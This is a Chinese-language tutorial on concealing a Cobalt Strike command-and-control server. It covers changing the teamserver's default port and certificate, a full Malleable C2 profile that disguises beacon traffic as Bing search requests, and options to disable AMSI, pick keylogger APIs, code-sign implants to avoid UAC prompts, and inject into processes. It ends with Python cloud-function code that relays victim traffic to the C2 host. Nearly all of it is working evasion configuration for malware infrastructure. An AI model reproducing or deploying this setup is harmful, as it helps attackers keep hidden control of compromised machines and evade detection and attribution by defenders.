1.什么是特征
特征 : 人或事物可供识别的特殊的象征或标志。cobalt strike(简称: cs)也有属于自己的特征 , 比如默认开放的端口号是50050 , 自带证书里面有cobalt strike字符等
2.为什么要修改特征
因为cs服务器如果默认特征不进行修改的话 , 很容易被搜索引擎或者威胁情报标记成木马远控服务器 , 以及进行一些特征的修改就算ip地址暴露了 , 也不能直接肯定这个ip是木马远控ip , 提高自身的隐藏性
3.如何修改特征
修改特征是针对cs服务端进行特征的修改 , 客户端不需要修改
牢记 : cs服务器需要的时候再开启 , 平常不需要的时候就关闭
3.1修改默认端口
进入cs的安装目录
vim teamserver
只需要修改最后一行的-Dcobaltstrike.server_port
, 可以是80 , 443 , 3389 , 8080等常见端口 , 前提是该端口没有被使用
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=8080 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=mhx666 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*
补充 : 最好把-Djavax.net.ssl.keyStorePassword
也修改了 , 默认ssl证书口令是 123456
3.2修改默认证书
查看默认证书
keytool -list -v -keystore cobaltstrike.store
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
输入密钥库口令:
# 默认口令是123456
生成伪造证书
keytool -keystore cobaltstrike_new.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Software, L=Somewhere, ST=Cyberspace, C=CN"
然后在teamserver中设置即可
-Djavax.net.ssl.keyStore=./cobaltstrike_new.store
虽然伪装的证书可以欺骗fofa这类搜索引擎 , 但是毕竟是伪造的 , 使用ssl证书查询工具是查询不到颁发机构的 , 因为是我们自己生成的 , 真正的证书是证书签发机构颁布的 , 腾讯云购买域名就可以免费申请ssl证书 , 不过要实名备案 , 推荐Cloudflare , letsencrypt或各国外云服务提供商不需要实名备案
使用颁发的ssl证书 , 推荐jks格式
的证书 , 直接修改文件名 , 然后在teamserver中配置就可以了
mv server.jks serve.store
# 在teamserver中配置
-Djavax.net.ssl.keyStore=./serve.store
pem格式
openssl pkcs12 -export -in /api.xxx.com/sss.pem -inkey /api.xxx.com/ssk.pem -out api.xxx.com.p12 -name api.xxx.com -passout pass:123456 keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore api.xxx.com -src
pem--》p12--》store文件 , 然后在teamserver中配置
crt格式
keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store
然后在teamserver中配置
3.3配置profile文件
cs中默认是没有profile文件的 , 需要自己配置 , 而且官网称profile文件为Malleablec2
, 整个profile文件的配置就是进行流量上的伪装 , 防溯源 , 把命令的下发和结果的回传进行包装 , 让他从流量上看起来更像是在访问网页
profile文件的使用手册 : https://www.cobaltstrike.com/downloads/csmanual44.pdf
基本语法
# this is a comment# 设置全局变量 , 和其他无关是cs自身的一些机制set global_option "value";# 协议的配置 , 如: http-get , https-post等protocol-transaction { set local_option "value"; client { # customize client indicators } server { # customize server indicators }}
实际上就是很简单 , 就是set 和 一些协议上的配置
下面会以 cs4.4 bing.profile 文件为例来解释其中的各个配置项的作用
全局变量
# CobaltStrike 4.4 + Test Profile## References:# * https://www.cobaltstrike.com/help-malleable-c2# * https://www.cobaltstrike.com/help-malleable-postex## Author: yuyuyu@666.com# Github: https://github.com#### Global Option Block# 设置全局变量sample_name , 值是当前文件名set sample_name "bing.profile"; # Profile name# 设置心跳包的时间 , 单位毫秒set sleeptime "30000"; # Sleep time for the beacon callback# set sleeptime "<60000>"; # 1 Minute , 默认的# 设置心跳包时间的波动范围 30 +- 30*50% = 15 - 45set jitter "50"; # Jitter to set %. In this example, the beacon will callback between 15 and 30 sec jitter# 允许stagers和stage使用不同的协议set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.# 设置全局的UA头set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36";
DNS beacon , 不经常使用 , 但是对于只有DNS协议出网的设备可以使用
dns-beacon { # Options moved into 'dns-beacon' group in 4.4: set dns_idle "114.114.114.114"; # 第一次dns查询的地址 set dns_max_txt "192"; # 最大查询次数 , 255以下 , 能被4整除 set dns_sleep "1"; # sleep时间 set dns_ttl "5"; # ttl值 set maxdns "200"; # 最大dns服务转接数量 set dns_stager_prepend "doc-stg-prepend"; # 使用dns协议的马,pe头追加的内容 set dns_stager_subhost "doc-stg-sh."; # 子域名的查询配置 # DNS subhost override options added in 4.4: set beacon "doc.bc."; set get_A "doc.1a."; set get_AAAA "doc.4a."; set get_TXT "doc.tx."; set put_metadata "doc.md."; set put_output "doc.po."; set ns_response "zero";}
dns-beacon 可以设置一些PE文件的内容和自定义DNS查询的一些规则
SMB和TCP , smb会在横向渗透使用到
### SMB Beaconset pipename "win_svc"; # smb管道的名字set pipename_stager "win_svc2"; # smb stager管道的名字### TCP Beacon 监听端口set tcp_port "1337"; # TCP beacon listen port
http-config , 不单单是http实际上也是https的全局响应头配置
http-config { set headers "Server, Cache-Control, Connection, X-Powered-By"; # HTTP header header "Server" "Microsoft-IIS/8.0"; header "Cache-Control" "max-age=1"; header "Connection" "keep-alive"; header "X-Powered-By" "ASP.NET"; # 不信任xff头 set trust_x_forwarded_for "false"; # "true" if the team server is behind an HTTP redirector}
http-get (无缩进要求) , 命令的下发相当于是teamserver(cs服务端)向受害者发送一个get请求
http-get { # 下发命令访问的uri set uri "/search/"; # 客户端配置 client { # 请求头配置 格式 : header "头字段" "值" header "Host" "www.bing.com"; header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG"; # 元数据配置 metadata { base64url; # 进行base64编码url parameter "q"; } # 参数配置 parameter "go" "Search"; parameter "qs" "bs"; parameter "form" "QBRE"; } # 服务端配置 server { # 响应头配置 header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; # 输出信息 output { netbios; # 相当于网关地址 # 响应中html页面头部信息 prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA["; # 响应中html页面尾部信息 append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,"; print; } }}
http-post 结果的回传相当于受害者向teamserver发送一个post请求
http-post { set uri "/Search/"; set verb "GET"; # 因为bing.com没有post请求 , 所以用verb伪装成get client { header "Host" "www.bing.com"; header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG"; output { base64url; parameter "q"; } parameter "go" "Search"; parameter "qs" "bs"; id { base64url; parameter "form"; } } server { header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; output { netbios; prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA["; append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,"; print; } }}
http-stager 主要是伪装一些js,css文件的请求 , 不要用已经被标记成特征的js,css文件
http-stager { set uri_x86 "/jquery-3.3.1.slim.min.js"; # 我的就是这个js被识别了 set uri_x64 "/jquery-3.3.2.slim.min.js"; server { header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; output { # output舍不舍都行 prepend "user="; append ".asp"; print; } }}
https-certificate ssl证书配置
https-certificate { set keystore "cobaltstrike.store"; set password "666666";}https-certificate { set CN "us"; # 国家 , 组织 , 主题等 , 最好和ssl证书一致 set O "us"; set C "us"; set L "us"; set OU "us"; set ST "us"; set validity "365";}
code-signer 使用ssl证书加密 ,设置了他 , 在生成木马的时候可以选择sign签名
code-signer { set keystore "server.jks"; set password "Tz8@CxnJcAN3DM^D"; set alias "server"; # 别名}
补充 : bypassuac , 拿到shell后 , 把木马的签名放到可信任中 , 然后以管理员身份运行就不会触发uac了
stage , cs自带的命令都是通过dll反射注入实现的 , stage就是关于这个的自定义
stage { set checksum "0"; # 校验和 set image_size_x86 "559966"; # 镜像值 set image_size_x64 "559966"; set entry_point "38807"; # 入口点 set rich_header "\xcd\x11\x8f\xf8\x89\x70\xe1\xab\x89\x70\xe1\xab\x89\x70\xe1\xab\x3d\xec\x10\xab\x9c\x70\xe1\xab\x3d\xec\x12\xab\x0a\x70\xe1\xab\x3d\xec\x13\xab\x90\x70\xe1\xab\xea\x2d\xe2\xaa\x9b\x70\xe1\xab\xea\x2d\xe4\xaa\xae\x70\xe1\xab\xea\x2d\xe5\xaa\x9b\x70\xe1\xab\x80\x08\x72\xab\x82\x70\xe1\xab\x89\x70\xe0\xab\x03\x70\xe1\xab\xe7\x2d\xe4\xaa\x80\x70\xe1\xab\xe7\x2d\x1e\xab\x88\x70\xe1\xab\x89\x70\x76\xab\x88\x70\xe1\xab\xe7\x2d\xe3\xaa\x88\x70\xe1\xab\x52\x69\x63\x68\x89\x70\xe1\xab\x00\x00\x00\x00\x00\x00\x00\x00"; # 头部 set userwx "false"; # 内存属性 , 默认原本属性 # set compile_time "14 Jul 2009 8:14:00"; # 编译时长 , 但是当前格式不对 set image_size_x86 "512000"; # 镜像值 set image_size_x64 "512000"; set obfuscate "true"; # 混淆 transform-x86 { prepend "\x90\x90"; # 头部 strrep "ReflectiveLoader" "DoLegitStuff"; # 字符串替换 } transform-x64 { prepend "\x90\x90"; strrep "ReflectiveLoader" "DoLegitStuff"; } stringw "I am iron man"; # PE头部添加的字符串}
post-ex 后渗透相关
post-ex { # control the temporary process we spawn to # 获取system权限后 , 挂在的exe在哪个目录下 set spawnto_x86 "%windir%\\syswow64\\WerFault.exe"; set spawnto_x64 "%windir%\\sysnative\\WerFault.exe"; # 混淆 set obfuscate "true"; # 命名管道 set pipename "msrpc_####, win\\msrpc_##"; # 自动线程注入 , 测试无效 set smartinject "true"; # 关闭amsi , 执行powershell命令不触发amsi set amsi_disable "true"; # options are: GetAsyncKeyState (def) or SetWindowsHookEx # 设置键盘记录使用的函数 set keylogger "GetAsyncKeyState";}
process-inject 进程注入
process-inject { # set how memory is allocated in a remote process # VirtualAllocEx or NtMapViewOfSection. The # NtMapViewOfSection option is for same-architecture injection only. # VirtualAllocEx is always used for cross-arch memory allocations. set allocator "VirtualAllocEx"; # shape the memory characteristics and content set min_alloc "16384"; set startrwx "true"; set userwx "false"; transform-x86 { prepend "\x90\x90"; #头部追加 } transform-x64 { # transform x64 injected content } # determine how to execute the injected code execute { # 执行创建线程的函数 CreateThread "ntdll.dll!RtlUserThreadStart"; SetThreadContext; RtlCreateUserThread; }}
检查profile文件是否可用
./c2lint [/path/to/my.profile]# 进行各种协议 如 smb , http , https的请求模拟 , 判断是否可用 , 请求结束下面会有结果输出 (黄色警告,红色语法错误)
补充 : 很多公开的profile文件已经成为了cs的特征 , 最好自己改写一下 , github搜索Malleablec2
可以参考其他开源作者的profile文件进行编写
提一嘴cdn和云函数 , cdn就是挂一个设置了cdn的域名 , 记住监听的host设置成带有cdn的域名
云函数可以做数据请求的处理和转发的功能 , 在c2隐藏上主要是用到转发功能 , 监听端口必须是80
受害者-->云函数-->teamserver , 腾讯云 云函数的profile文件
set sleeptime "5000"; # 心跳包set jitter "0"; # 波动范围set maxdns "255"; # 最大dns服务转接数量set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";http-get { set uri "/api/x"; client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "nginx"; output { base64; print; } }}http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js";}http-post { set uri "/api/y"; client { header "Accept" "*/*"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } }}
云函数代码
import json, requests, base64def main_handler(event, context): C2 = 'http://x.x.x.x' # 这里可以使用 HTTP、HTTPS~下角标~ path = event['path'] headers = event['headers'] print(event) if event['httpMethod'] == 'GET': resp = requests.get(C2 + path, headers=headers, verify=False) else: resp = requests.post(C2 + path, data=event['body'], headers=headers, verify=False) print(resp.headers) print(resp.content) response = {"isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers), "body": str(base64.b64encode(resp.content))[2:-1]} return response